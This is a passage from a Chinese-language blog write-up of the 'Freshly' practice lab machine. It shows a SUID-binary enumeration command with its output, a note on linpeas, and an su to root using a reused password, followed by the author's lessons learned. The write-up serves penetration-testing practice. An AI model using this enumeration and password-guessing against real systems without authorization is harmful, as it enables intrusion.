find / -type f -perm -04000 -ls 2>/dev/null
920060 12 -rwsr-xr-x 1 root root 9612 Dec 4 2014 /usr/lib/pt_chown
920882 8 -rwsr-xr-x 1 root root 5480 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
927842 484 -rwsr-xr-x 1 root root 492972 May 12 2014 /usr/lib/openssh/ssh-keysign
917586 328 -rwsr-xr-- 1 root messagebus 333952 Nov 25 2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
927745 72 -rwsr-xr-x 1 root root 72860 Oct 21 2013 /usr/bin/mtr
924487 20 -rwsr-xr-x 1 root root 18136 May 7 2014 /usr/bin/traceroute6.iputils
917796 36 -rwsr-xr-x 1 root root 35916 Feb 16 2014 /usr/bin/chsh
917792 48 -rwsr-xr-x 1 root root 45420 Feb 16 2014 /usr/bin/passwd
917599 32 -rwsr-xr-x 1 root root 30984 Feb 16 2014 /usr/bin/newgrp
917797 68 -rwsr-xr-x 1 root root 66252 Feb 16 2014 /usr/bin/gpasswd
917790 44 -rwsr-xr-x 1 root root 44620 Feb 16 2014 /usr/bin/chfn
921697 156 -rwsr-xr-x 1 root root 156708 Feb 10 2014 /usr/bin/sudo
927978 316 -rwsr-xr-- 1 root dip 323000 Nov 25 2014 /usr/sbin/pppd
928195 20 -rwsr-sr-x 1 libuuid libuuid 17996 Nov 6 2014 /usr/sbin/uuidd
523310 40 -rwsr-xr-x 1 root root 38932 May 7 2014 /bin/ping
523269 88 -rwsr-xr-x 1 root root 88752 Nov 6 2014 /bin/mount
523356 32 -rwsr-xr-x 1 root root 30112 Dec 16 2013 /bin/fusermount
523305 36 -rwsr-xr-x 1 root root 35300 Feb 16 2014 /bin/su
523353 68 -rwsr-xr-x 1 root root 67704 Nov 6 2014 /bin/umount
523309 44 -rwsr-xr-x 1 root root 43316 May 7 2014 /bin/ping6

pt_chown 和 mtr 见的比较少,搜索了一下,不过没找到可用的提权方法

linpeas 辅助收集信息,也没发现什么有价值的东西(gcc 无了)

尝试密码碰撞

1
2
3
4
5
candycane@Freshly:/tmp$ su
su
Password: SuperSecretPassword

root@Freshly:/tmp#

碰撞出来了……有一丢丢无语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@Freshly:/tmp# cd /root
cd /root
root@Freshly:~# ls
ls
root@Freshly:~# ls -alih
ls -alih
total 24K
130818 drwx------ 3 root root 4.0K Feb 16 2015 .
2 drwxr-xr-x 21 root root 4.0K Feb 16 2015 ..
134493 drwx------ 2 root root 4.0K Feb 16 2015 .aptitude
136627 -rw------- 1 root root 2.5K Aug 26 08:36 .bash_history
130820 -rw-r--r-- 1 root root 3.1K Feb 19 2014 .bashrc
130819 -rw-r--r-- 1 root root 140 Feb 19 2014 .profile
root@Freshly:~# whoami
whoami
root
root@Freshly:~# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:ad:0d:f7 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.136/24 brd 192.168.56.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fead:df7/64 scope link
valid_lft forever preferred_lft forever
root@Freshly:~# uname -a
uname -a
Linux Freshly 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 athlon i686 GNU/Linux

总结

以前在网站的 SQL 注入漏洞利用过程中,只关注了当前数据库,而这次敏感信息(密码)并不在当前数据库。这台靶机对我来说的最大价值也是这方面,同时最后的密码碰撞也提醒了我,有的时候没有一个好的渗透和记录习惯,对于个人打靶的过程并不好。以后打算参考一些视频里的做法,在打靶的过程中对关键信息做简单的记录。


Freshly 靶机
https://i3eg1nner.github.io/2023/08/837eac51f5d4.html
作者
I3eg1nner
发布于
2023年8月21日
许可协议